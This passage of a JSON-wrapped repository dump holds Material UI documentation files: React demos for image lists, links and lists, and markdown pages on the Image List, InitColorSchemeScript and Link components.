img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    author: '@bkristastucchio',\n    rows: 2,\n    cols: 2,\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n    author: '@rollelflex_graphy726',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n    author: '@helloimnik',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    author: '@nolanissac',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    author: '@hjrc33',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n    rows: 2,\n    cols: 2,\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n    author: '@tjdragotta',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n    author: '@katie_wasserman',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    author: '@silverdalex',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n    author: '@shelleypauls',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n    author: '@peterlaster',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    author: '@southside_customs',\n    cols: 2,\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/TitlebarImageList.tsx",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport IconButton from '@mui/material/IconButton';\nimport InfoIcon from '@mui/icons-material/Info';\n\nexport default function TitlebarImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }}>\n      <ImageListItem key=\"Subheader\" cols={2}>\n        <ListSubheader component=\"div\">December</ListSubheader>\n      </ImageListItem>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=248&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n          <ImageListItemBar\n            title={item.title}\n            subtitle={item.author}\n            actionIcon={\n              <IconButton\n                sx={{ color: 'rgba(255, 255, 255, 0.54)' }}\n                aria-label={`info about ${item.title}`}\n              >\n                <InfoIcon />\n              </IconButton>\n            }\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    author: '@bkristastucchio',\n    rows: 2,\n    cols: 2,\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n    author: '@rollelflex_graphy726',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n    author: '@helloimnik',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    author: '@nolanissac',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    author: '@hjrc33',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n    rows: 2,\n    cols: 2,\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n    author: '@tjdragotta',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n    author: '@katie_wasserman',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    author: '@silverdalex',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n    author: '@shelleypauls',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n    author: '@peterlaster',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    author: '@southside_customs',\n    cols: 2,\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/WovenImageList.js",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nexport default function WovenImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }} variant=\"woven\" cols={3} gap={8}>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=161&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=161&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1549388604-817d15aa0110',\n    title: 'Bed',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1563298723-dcfebaa392e3',\n    title: 'Kitchen',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1523413651479-597eb2da0ad6',\n    title: 'Sink',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1525097487452-6278ff080c31',\n    title: 'Books',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1574180045827-681f8a1a9622',\n    title: 'Chairs',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597262975002-c5c3b14bbd62',\n    title: 'Candle',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1530731141654-5993c3016c77',\n    title: 'Laptop',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1481277542470-605612bd2d61',\n    title: 'Doors',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1517487881594-2787fef5ebf7',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516455207990-7a41ce80f7ee',\n    title: 'Storage',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1519710164239-da123dc03ef4',\n    title: 'Coffee table',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1588436706487-9d55d73a39e3',\n    title: 'Blinds',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/WovenImageList.tsx",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nexport default function WovenImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }} variant=\"woven\" cols={3} gap={8}>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=161&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=161&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1549388604-817d15aa0110',\n    title: 'Bed',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1563298723-dcfebaa392e3',\n    title: 'Kitchen',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1523413651479-597eb2da0ad6',\n    title: 'Sink',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1525097487452-6278ff080c31',\n    title: 'Books',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1574180045827-681f8a1a9622',\n    title: 'Chairs',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597262975002-c5c3b14bbd62',\n    title: 'Candle',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1530731141654-5993c3016c77',\n    title: 'Laptop',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1481277542470-605612bd2d61',\n    title: 'Doors',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1517487881594-2787fef5ebf7',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516455207990-7a41ce80f7ee',\n    title: 'Storage',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1519710164239-da123dc03ef4',\n    title: 'Coffee table',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1588436706487-9d55d73a39e3',\n    title: 'Blinds',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/WovenImageList.tsx.preview",
    "content": "<ImageList sx={{ width: 500, height: 450 }} variant=\"woven\" cols={3} gap={8}>\n  {itemData.map((item) => (\n    <ImageListItem key={item.img}>\n      <img\n        srcSet={`${item.img}?w=161&fit=crop&auto=format&dpr=2 2x`}\n        src={`${item.img}?w=161&fit=crop&auto=format`}\n        alt={item.title}\n        loading=\"lazy\"\n      />\n    </ImageListItem>\n  ))}\n</ImageList>"
  },
  {
    "path": "docs/data/material/components/image-list/image-list.md",
    "content": "---\nproductId: material-ui\ntitle: Image List React component\ncomponents: ImageList, ImageListItem, ImageListItemBar\nmaterialDesign: https://m2.material.io/components/image-lists\ngithubLabel: 'scope: image list'\ngithubSource: packages/mui-material/src/ImageList\n---\n\n# Image List\n\n<p class=\"description\">The Image List displays a collection of images in an organized grid.</p>\n\nImage lists represent a collection of items in a repeated pattern. They help improve the visual comprehension of the content they hold.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Standard image list\n\nStandard image lists are best for items of equal importance. They have a uniform container size, ratio, and spacing.\n\n{{\"demo\": \"StandardImageList.js\"}}\n\n## Quilted image list\n\nQuilted image lists emphasize certain items over others in a collection. They create hierarchy using varied container sizes and ratios.\n\n{{\"demo\": \"QuiltedImageList.js\"}}\n\n## Woven image list\n\nWoven image lists use alternating container ratios to create a rhythmic layout. A woven image list is best for browsing peer content.\n\n{{\"demo\": \"WovenImageList.js\"}}\n\n## Masonry image list\n\nMasonry image lists use dynamically sized container heights that reflect the aspect ratio of each image. This image list is best used for browsing uncropped peer content.\n\n{{\"demo\": \"MasonryImageList.js\"}}\n\n## Image list with title bars\n\nThis example demonstrates the use of the `ImageListItemBar` to add an overlay to each item.\nThe overlay can accommodate a `title`, `subtitle` and secondary action - in this example an `IconButton`.\n\n{{\"demo\": \"TitlebarImageList.js\"}}\n\n### Title bar below image (standard)\n\nThe title bar can be placed below the image.\n\n{{\"demo\": \"TitlebarBelowImageList.js\"}}\n\n### Title bar below image (masonry)\n\n{{\"demo\": \"TitlebarBelowMasonryImageList.js\"}}\n\n## Custom image list\n\nIn this example the items have a customized titlebar, positioned at the top and with a custom gradient `titleBackground`.\nThe secondary action `IconButton` is positioned on the left. The `gap` prop is used to adjust the gap between items.\n\n{{\"demo\": \"CustomImageList.js\", \"defaultCodeOpen\": false}}\n"
  },
  {
    "path": "docs/data/material/components/image-list/itemData.d.ts",
    "content": "export interface ItemDataItem {\n  img: string;\n  title: string;\n  author: string;\n  cols: number;\n  featured: boolean;\n}\n\ndeclare const itemData: ItemDataItem[];\n\nexport default itemData;\n"
  },
  {
    "path": "docs/data/material/components/init-color-scheme-script/init-color-scheme-script.md",
    "content": "---\nproductId: material-ui\ntitle: InitColorSchemeScript component\ncomponents: InitColorSchemeScript\ngithubSource: packages/mui-material/src/InitColorSchemeScript\n---\n\n# InitColorSchemeScript\n\n<p class=\"description\">The InitColorSchemeScript component eliminates dark mode flickering in server-side-rendered applications.</p>\n\n## Introduction\n\nThe `InitColorSchemeScript` component is used to remove the dark mode flicker that can occur in server-side-rendered (SSR) applications.\nThis script runs before React to attach an attribute based on the user preference so that the correct color mode is applied on first render.\n\nFor the best user experience, you should implement this component in any server-rendered Material UI app that supports both light and dark modes.\n\n## Basics\n\nFirst, enable CSS variables with `colorSchemeSelector: 'data'` in your theme.\n\n```js\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: 'data',\n  },\n});\n\nfunction App() {\n  return <ThemeProvider theme={theme}>{/* Your app */}</ThemeProvider>;\n}\n```\n\nThen, render the `InitColorSchemeScript` component as the first child of the `<body>` tag.\n\nThe sections below detail where to render the `InitColorSchemeScript` component when working with Next.js.\n\n### Next.js App Router\n\nPlace the `InitColorSchemeScript` component in the root `layout` file:\n\n```js title=\"src/app/layout.tsx\"\nimport InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\n\nexport default function RootLayout(props: { children: React.ReactNode }) {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <body>\n        <InitColorSchemeScript attribute=\"data\" />\n        {props.children}\n      </body>\n    </html>\n  );\n}\n```\n\n### Next.js Pages Router\n\nPlace the `InitColorSchemeScript` component in a custom `_document` file:\n\n```js title=\"pages/_document.tsx\"\nimport { Html, Head, Main, NextScript } from 'next/document';\nimport InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\n\nexport default function MyDocument(props) {\n  return (\n    <Html lang=\"en\">\n      <Head>{/* tags */}</Head>\n      <body>\n        <InitColorSchemeScript attribute=\"data\" />\n        <Main />\n        <NextScript />\n      </body>\n    </Html>\n  );\n}\n```\n\n## Customization\n\n### Class attribute\n\nTo attach classes to DOM elements, set the `attribute` prop to `\"class\"`.\n\n```js\n<InitColorSchemeScript attribute=\"class\" />\n```\n\nThis sets the class name on the color scheme node (which defaults to `<html>`) according to the user's system preference.\n\n```html\n<html class=\"dark\"></html>\n```\n\n### Arbitrary attribute\n\nTo attach arbitrary attributes to DOM elements, use `%s` as a placeholder on the `attribute` prop.\n\n```js\n<InitColorSchemeScript attribute=\"[data-theme='%s']\" /> // <html data-theme=\"dark\">\n<InitColorSchemeScript attribute=\".mode-%s\" /> // <html class=\"mode-dark\">\n```\n\n### Default mode\n\nSet the `defaultMode` prop to specify the default mode when the user first visits the page.\n\nFor example, if you want users to see the dark mode on their first visit, set the `defaultMode` prop to `\"dark\"`.\n\n```js\n<InitColorSchemeScript defaultMode=\"dark\" />\n```\n\n## Caveats\n\n### Attribute\n\nWhen customizing the `attribute` prop, make sure to set the `colorSchemeSelector` in the theme to match the attribute you are using.\n\n```js\nconst theme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: 'same value as the `attribute` prop',\n  },\n});\n```\n\n### Default mode\n\nWhen customizing the `defaultMode` prop, make sure to do the same with the `ThemeProvider` component:\n\n```js\n<ThemeProvider theme={theme} defaultMode=\"dark\">\n```\n"
  },
  {
    "path": "docs/data/material/components/links/ButtonLink.js",
    "content": "import Link from '@mui/material/Link';\n\nexport default function ButtonLink() {\n  return (\n    <Link\n      component=\"button\"\n      variant=\"body2\"\n      onClick={() => {\n        console.info(\"I'm a button.\");\n      }}\n    >\n      Button Link\n    </Link>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/links/ButtonLink.tsx",
    "content": "import Link from '@mui/material/Link';\n\nexport default function ButtonLink() {\n  return (\n    <Link\n      component=\"button\"\n      variant=\"body2\"\n      onClick={() => {\n        console.info(\"I'm a button.\");\n      }}\n    >\n      Button Link\n    </Link>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/links/ButtonLink.tsx.preview",
    "content": "<Link\n  component=\"button\"\n  variant=\"body2\"\n  onClick={() => {\n    console.info(\"I'm a button.\");\n  }}\n>\n  Button Link\n</Link>"
  },
  {
    "path": "docs/data/material/components/links/Links.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\n\nconst preventDefault = (event) => event.preventDefault();\n\nexport default function Links() {\n  return (\n    <Box\n      sx={{\n        typography: 'body1',\n        '& > :not(style) ~ :not(style)': {\n          ml: 2,\n        },\n      }}\n      onClick={preventDefault}\n    >\n      <Link href=\"#\">Link</Link>\n      <Link href=\"#\" color=\"inherit\">\n        {'color=\"inherit\"'}\n      </Link>\n      <Link href=\"#\" variant=\"body2\">\n        {'variant=\"body2\"'}\n      </Link>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/links/Links.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\n\nconst preventDefault = (event: React.SyntheticEvent) => event.preventDefault();\n\nexport default function Links() {\n  return (\n    <Box\n      sx={{\n        typography: 'body1',\n        '& > :not(style) ~ :not(style)': {\n          ml: 2,\n        },\n      }}\n      onClick={preventDefault}\n    >\n      <Link href=\"#\">Link</Link>\n      <Link href=\"#\" color=\"inherit\">\n        {'color=\"inherit\"'}\n      </Link>\n      <Link href=\"#\" variant=\"body2\">\n        {'variant=\"body2\"'}\n      </Link>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/links/Links.tsx.preview",
    "content": "<Link href=\"#\">Link</Link>\n<Link href=\"#\" color=\"inherit\">\n  {'color=\"inherit\"'}\n</Link>\n<Link href=\"#\" variant=\"body2\">\n  {'variant=\"body2\"'}\n</Link>"
  },
  {
    "path": "docs/data/material/components/links/UnderlineLink.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\n\nconst preventDefault = (event) => event.preventDefault();\n\nexport default function UnderlineLink() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexWrap: 'wrap',\n        justifyContent: 'center',\n        typography: 'body1',\n        '& > :not(style) ~ :not(style)': {\n          ml: 2,\n        },\n      }}\n      onClick={preventDefault}\n    >\n      <Link href=\"#\" underline=\"none\">\n        {'underline=\"none\"'}\n      </Link>\n      <Link href=\"#\" underline=\"hover\">\n        {'underline=\"hover\"'}\n      </Link>\n      <Link href=\"#\" underline=\"always\">\n        {'underline=\"always\"'}\n      </Link>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/links/UnderlineLink.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\n\nconst preventDefault = (event: React.SyntheticEvent) => event.preventDefault();\n\nexport default function UnderlineLink() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexWrap: 'wrap',\n        justifyContent: 'center',\n        typography: 'body1',\n        '& > :not(style) ~ :not(style)': {\n          ml: 2,\n        },\n      }}\n      onClick={preventDefault}\n    >\n      <Link href=\"#\" underline=\"none\">\n        {'underline=\"none\"'}\n      </Link>\n      <Link href=\"#\" underline=\"hover\">\n        {'underline=\"hover\"'}\n      </Link>\n      <Link href=\"#\" underline=\"always\">\n        {'underline=\"always\"'}\n      </Link>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/links/UnderlineLink.tsx.preview",
    "content": "<Link href=\"#\" underline=\"none\">\n  {'underline=\"none\"'}\n</Link>\n<Link href=\"#\" underline=\"hover\">\n  {'underline=\"hover\"'}\n</Link>\n<Link href=\"#\" underline=\"always\">\n  {'underline=\"always\"'}\n</Link>"
  },
  {
    "path": "docs/data/material/components/links/links.md",
    "content": "---\nproductId: material-ui\ncomponents: Link\ngithubLabel: 'scope: link'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/link/\ngithubSource: packages/mui-material/src/Link\n---\n\n# Links\n\n<p class=\"description\">The Link component allows you to easily customize anchor elements with your theme colors and typography styles.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic links\n\nThe Link component is built on top of the [Typography](/material-ui/api/typography/) component, meaning that you can use its props.\n\n{{\"demo\": \"Links.js\"}}\n\nHowever, the Link component has some different default props than the Typography component:\n\n- `color=\"primary\"` as the link needs to stand out.\n- `variant=\"inherit\"` as the link will, most of the time, be used as a child of a Typography component.\n\n## Underline\n\nThe `underline` prop can be used to set the underline behavior. The default is `always`.\n\n{{\"demo\": \"UnderlineLink.js\"}}\n\n## Security\n\nWhen you use `target=\"_blank\"` with Links, it is [recommended](https://developers.google.com/web/tools/lighthouse/audits/noopener) to always set `rel=\"noopener\"` or `rel=\"noreferrer\"` when linking to third party content.\n\n- `rel=\"noopener\"` prevents the new page from being able to access the `window.opener` property and ensures it runs in a separate process.\n  Without this, the target page can potentially redirect your page to a malicious URL.\n- `rel=\"noreferrer\"` has the same effect, but also prevents the _Referer_ header from being sent to the new page.\n  ⚠️ Removing the referrer header will affect analytics.\n\n## Third-party routing library\n\nOne frequent use case is to perform navigation on the client only, without an HTTP round-trip to the server.\nThe `Link` component provides the `component` prop to handle this use case.\nHere is a [more detailed guide](/material-ui/integrations/routing/#link).\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/link/)\n\n- When providing the content for the link, avoid generic descriptions like \"click here\" or \"go to\".\n  Instead, use [specific descriptions](https://developers.google.com/web/tools/lighthouse/audits/descriptive-link-text).\n- For the best user experience, links should stand out from the text on the page. For instance, you can keep the default `underline=\"always\"` behavior.\n- If a link doesn't have a meaningful href, [it should be rendered using a `<button>` element](https://github.com/jsx-eslint/eslint-plugin-jsx-a11y/blob/HEAD/docs/rules/anchor-is-valid.md).\n  The demo below illustrates how to properly link with a `<button>`:\n\n{{\"demo\": \"ButtonLink.js\"}}\n\n### Keyboard accessibility\n\n- Interactive elements should receive focus in a coherent order when the user presses the <kbd class=\"key\">Tab</kbd> key.\n- Users should be able to open a link by pressing <kbd class=\"key\">Enter</kbd>.\n\n### Screen reader accessibility\n\n- When a link receives focus, screen readers should announce a descriptive link name.\n  If the link opens in a new window or browser tab, add an [`aria-label`](https://www.w3.org/WAI/WCAG22/Techniques/aria/ARIA8) to inform screen reader users—for example, _\"To learn more, visit the About page which opens in a new window.\"_\n"
  },
  {
    "path": "docs/data/material/components/lists/AlignItemsList.js",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport Divider from '@mui/material/Divider';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\n\nexport default function AlignItemsList() {\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <ListItem alignItems=\"flex-start\">\n        <ListItemAvatar>\n          <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        </ListItemAvatar>\n        <ListItemText\n          primary=\"Brunch this weekend?\"\n          secondary={\n            <React.Fragment>\n              <Typography\n                component=\"span\"\n                variant=\"body2\"\n                sx={{ color: 'text.primary', display: 'inline' }}\n              >\n                Ali Connors\n              </Typography>\n              {\" — I'll be in your neighborhood doing errands this…\"}\n            </React.Fragment>\n          }\n        />\n      </ListItem>\n      <Divider variant=\"inset\" component=\"li\" />\n      <ListItem alignItems=\"flex-start\">\n        <ListItemAvatar>\n          <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        </ListItemAvatar>\n        <ListItemText\n          primary=\"Summer BBQ\"\n          secondary={\n            <React.Fragment>\n              <Typography\n                component=\"span\"\n                variant=\"body2\"\n                sx={{ color: 'text.primary', display: 'inline' }}\n              >\n                to Scott, Alex, Jennifer\n              </Typography>\n              {\" — Wish I could come, but I'm out of town this…\"}\n            </React.Fragment>\n          }\n        />\n      </ListItem>\n      <Divider variant=\"inset\" component=\"li\" />\n      <ListItem alignItems=\"flex-start\">\n        <ListItemAvatar>\n          <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n        </ListItemAvatar>\n        <ListItemText\n          primary=\"Oui Oui\"\n          secondary={\n            <React.Fragment>\n              <Typography\n                component=\"span\"\n                variant=\"body2\"\n                sx={{ color: 'text.primary', display: 'inline' }}\n              >\n                Sandra Adams\n              </Typography>\n              {' — Do you have Paris recommendations? Have you ever…'}\n            </React.Fragment>\n          }\n        />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/AlignItemsList.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport Divider from '@mui/material/Divider';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\n\nexport default function AlignItemsList() {\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <ListItem alignItems=\"flex-start\">\n        <ListItemAvatar>\n          <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        </ListItemAvatar>\n        <ListItemText\n          primary=\"Brunch this weekend?\"\n          secondary={\n            <React.Fragment>\n              <Typography\n                component=\"span\"\n                variant=\"body2\"\n                sx={{ color: 'text.primary', display: 'inline' }}\n              >\n                Ali Connors\n              </Typography>\n              {\" — I'll be in your neighborhood doing errands this…\"}\n            </React.Fragment>\n          }\n        />\n      </ListItem>\n      <Divider variant=\"inset\" component=\"li\" />\n      <ListItem alignItems=\"flex-start\">\n        <ListItemAvatar>\n          <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n        </ListItemAvatar>\n        <ListItemText\n          primary=\"Summer BBQ\"\n          secondary={\n            <React.Fragment>\n              <Typography\n                component=\"span\"\n                variant=\"body2\"\n                sx={{ color: 'text.primary', display: 'inline' }}\n              >\n                to Scott, Alex, Jennifer\n              </Typography>\n              {\" — Wish I could come, but I'm out of town this…\"}\n            </React.Fragment>\n          }\n        />\n      </ListItem>\n      <Divider variant=\"inset\" component=\"li\" />\n      <ListItem alignItems=\"flex-start\">\n        <ListItemAvatar>\n          <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n        </ListItemAvatar>\n        <ListItemText\n          primary=\"Oui Oui\"\n          secondary={\n            <React.Fragment>\n              <Typography\n                component=\"span\"\n                variant=\"body2\"\n                sx={{ color: 'text.primary', display: 'inline' }}\n              >\n                Sandra Adams\n              </Typography>\n              {' — Do you have Paris recommendations? Have you ever…'}\n            </React.Fragment>\n          }\n        />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/BasicList.js",
    "content": "import Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\nimport InboxIcon from '@mui/icons-material/Inbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\n\nexport default function BasicList() {\n  return (\n    <Box sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <nav aria-label=\"main mailbox folders\">\n        <List>\n          <ListItem disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                <InboxIcon />\n              </ListItemIcon>\n              <ListItemText primary=\"Inbox\" />\n            </ListItemButton>\n          </ListItem>\n          <ListItem disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                <DraftsIcon />\n              </ListItemIcon>\n              <ListItemText primary=\"Drafts\" />\n            </ListItemButton>\n          </ListItem>\n        </List>\n      </nav>\n      <Divider />\n      <nav aria-label=\"secondary mailbox folders\">\n        <List>\n          <ListItem disablePadding>\n            <ListItemButton>\n              <ListItemText primary=\"Trash\" />\n            </ListItemButton>\n          </ListItem>\n          <ListItem disablePadding>\n            <ListItemButton component=\"a\" href=\"#simple-list\">\n              <ListItemText primary=\"Spam\" />\n            </ListItemButton>\n          </ListItem>\n        </List>\n      </nav>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/BasicList.tsx",
    "content": "import Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Divider from '@mui/material/Divider';\nimport InboxIcon from '@mui/icons-material/Inbox';\nimport DraftsIcon from '@mui/icons-material/Drafts';\n\nexport default function BasicList() {\n  return (\n    <Box sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <nav aria-label=\"main mailbox folders\">\n        <List>\n          <ListItem disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                <InboxIcon />\n              </ListItemIcon>\n              <ListItemText primary=\"Inbox\" />\n            </ListItemButton>\n          </ListItem>\n          <ListItem disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                <DraftsIcon />\n              </ListItemIcon>\n              <ListItemText primary=\"Drafts\" />\n            </ListItemButton>\n          </ListItem>\n        </List>\n      </nav>\n      <Divider />\n      <nav aria-label=\"secondary mailbox folders\">\n        <List>\n          <ListItem disablePadding>\n            <ListItemButton>\n              <ListItemText primary=\"Trash\" />\n            </ListItemButton>\n          </ListItem>\n          <ListItem disablePadding>\n            <ListItemButton component=\"a\" href=\"#simple-list\">\n              <ListItemText primary=\"Spam\" />\n            </ListItemButton>\n          </ListItem>\n        </List>\n      </nav>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/CheckboxList.js",
